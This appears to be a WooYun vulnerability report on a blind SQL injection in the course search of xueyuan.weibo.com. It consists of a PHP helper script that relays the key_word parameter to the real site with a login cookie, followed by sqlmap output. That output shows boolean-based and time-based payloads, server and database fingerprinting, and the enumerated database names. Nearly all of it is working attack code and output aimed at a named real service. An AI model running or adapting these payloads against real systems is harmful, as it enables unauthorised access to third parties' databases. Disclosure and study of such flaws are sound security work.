WooYun.org

<?php
$uri = "http://xueyuan.weibo.com/course/index?key_word=$_GET[key_word]";
$header = array();
$ch = curl_init ();
curl_setopt ( $ch, CURLOPT_URL, $uri );
//curl_setopt ( $ch, CURLOPT_POST, 1 );
curl_setopt ( $ch, CURLOPT_HEADER, 1 );
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, 1 );
//curl_setopt ( $ch, CURLOPT_POSTFIELDS, $data );
curl_setopt($ch,CURLOPT_HTTPHEADER,$header);   
curl_setopt($ch,CURLOPT_COOKIE,'登录cookie');   
$return = curl_exec ( $ch );
curl_close ( $ch );
if(strstr($return,'courseid=345'))
{echo '1111';}
else
{echo '0';}
?>

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: key_word
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: key_word=1%' AND 9902=9902 AND '%'='
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: key_word=1%' AND SLEEP(5) AND '%'='
---
[15:33:26] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[15:33:26] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.2.22, PHP 5.4.41
back-end DBMS: MySQL 5.0.11
[15:33:26] [INFO] fetching database names
[15:33:26] [INFO] fetching number of databases
[15:33:26] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[15:33:26] [INFO] retrieved: 3
[15:33:27] [INFO] retrieved: information_schema
[15:33:48] [INFO] retrieved: eps_daxue
[15:34:00] [INFO] retrieved: test
available databases [3]:
[*] eps_daxue
[*] information_schema
[*] test